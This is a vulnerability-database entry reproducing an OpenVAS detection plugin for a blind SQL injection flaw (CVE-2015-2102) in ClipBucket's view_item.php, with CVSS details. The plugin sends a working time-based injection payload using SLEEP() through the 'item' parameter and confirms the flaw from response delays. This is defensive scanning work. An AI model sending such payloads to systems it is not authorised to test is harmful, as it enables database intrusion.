Lucene search

K
openvasCopyright (C) 2015 Greenbone AGOPENVAS:1361412562310805347
HistoryMar 05, 2015 - 12:00 a.m.

ClipBucket 'view_item.php' SQL Injection Vulnerability

2015-03-0500:00:00
Copyright (C) 2015 Greenbone AG
plugins.openvas.org
27

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7 High

AI Score

Confidence

Low

0.003 Low

EPSS

Percentile

71.1%

ClipBucket is prone to blind sql injection vulnerability.

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:clipbucket_project:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805347");
  script_version("2023-07-25T05:05:58+0000");
  script_cve_id("CVE-2015-2102");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2015-03-05 15:20:26 +0530 (Thu, 05 Mar 2015)");
  script_name("ClipBucket 'view_item.php' SQL Injection Vulnerability");

  script_tag(name:"summary", value:"ClipBucket is prone to blind sql injection vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to execute sql query or not.");

  script_tag(name:"insight", value:"Flaw is due to the view_item.php script
  not properly sanitizing user-supplied input via the 'item' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attackers to inject or manipulate SQL queries in the back-end database,
  allowing for the manipulation or disclosure of arbitrary data.");

  script_tag(name:"affected", value:"ClipBucket version 2.7.0.4.v2929, other
  versions may also be affected.");

  script_tag(name:"solution", value:"Upgrade to version 2.7.0.5 or later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36156/");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/130485");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_detect.nasl");
  script_mandatory_keys("clipbucket/Installed");
  script_require_ports("Services/www", 80);
  script_xref(name:"URL", value:"http://clip-bucket.com");
  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

if( dir == "/" ) dir = "";

sndReq = http_get(item:string(dir, "/index.php"),  port:http_port);
rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

item = eregmatch(pattern:'item=([0-9a-zA-Z]+)', string:rcvRes);

if(!item[1]){
  exit(0);
}

collection = eregmatch(pattern:'collection=([0-9]+)', string:rcvRes);
if(!collection[1]){
  exit(0);
}

# Added three times, to make sure its working properly
sleep = make_list(5, 7, 9);
wait_extra_sec = 5;

# Use sleep time to check we are able to execute command
foreach sec (sleep)
{
  url = dir + "/upload/view_item.php?item="+item[1]+"%27%20AND%20SLEEP("
            +sec+")%20AND%20%27Ypjn%27=%27Ypjn&type=photos&collection="+collection[1];

  sndReq = http_get(item:url, port:http_port);
  start = unixtime();
  rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);
  stop = unixtime();

  time_taken = stop - start;
  if(time_taken + 1 < sec || time_taken > (sec + wait_extra_sec)) exit(0);
}

report = http_report_vuln_url(port:http_port, url:url);
security_message(port:http_port, data:report);
exit(0);

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

7 High

AI Score

Confidence

Low

0.003 Low

EPSS

Percentile

71.1%

Related for OPENVAS:1361412562310805347